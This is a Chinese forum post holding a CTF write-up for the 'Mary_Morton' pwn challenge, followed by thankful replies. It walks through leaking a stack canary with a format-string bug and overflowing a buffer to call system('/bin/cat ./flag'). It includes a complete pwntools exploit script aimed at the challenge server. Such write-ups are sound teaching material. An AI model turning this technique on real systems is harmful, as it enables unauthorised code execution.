攻防世界pwn Mary_Morton
本帖最后由 安辰- 于 2019-9-8 12:02 编辑1.查看保护及文件信息
64位,开启的NX、Canary保护
2.分析
无libc,但是有system(""/bin/cat ./flag"")
继续分析能够发现程序有两处漏洞,一处是栈溢出,一处是格式化字符串漏洞
程序有Canary保护,这个保护就是在栈上面抱一个标志canary,在程序执行结束后,会检测这个标志是否发生变化,若发生变化则程序报错,这个canary通常是在ebp的上面,同一个程序在每一次执行时这个标志canary是不同的,但是在执行过程中这个标志是不会发生变化的
所以,我们就是以利用格式化字符串来读取标志canary,然后再去利用栈溢出去执行system(""/bin/cat ./flag"")
3.攻击
首先计算一下格式化字符串的偏移,偏移为5,由于程序是64位的,所以%x不可以使用,改用%llx
由于buf的大小为0x90,并且标志canary是在ebp的上面,也就是buf的最低处,所以标志canary的偏移就是23
构造exp
from pwn import *context.arch = "amd64"
context.log_level = "debug"
#p = process("./Mary_Morton")
p = remote('111.198.29.45','54470')
canary = ""
p.sendlineafter("3. Exit the battle \n","2")
p.sendline("%23$p")
sleep(0.5)
canary = p.recv(18)
cc = int(canary,16)
print(cc)
p.sendlineafter("3. Exit the battle \n","1")
payload = 'a'*0x88 + p64(cc) + 'a'*8 + p64(0x4008DA)
p.send(payload)
p.interactive()
执行
exp中采用的是%p(输出地址值),由于使用%llx出了点小问题,所以改用的%p
如有写的不妥当之处,请指出
我会立即改正{:1_893:} TwilightZ 发表于 2019-9-9 10:07
虽然不知道是什么,但看起来好像很厉害的样子!
简单说就是不明觉厉:lol
虽然不会,感谢楼主分享 不懂帮顶 谢谢楼主了 感谢楼主分享,虽然我看不懂 看不懂,还是支持一下哈哈 感谢分享 感谢楼主分享,虽然我看不懂 pwn 大佬,加入我的团队吧?{:1_918:} 感谢楼主分享,正在搞pwn,多多学习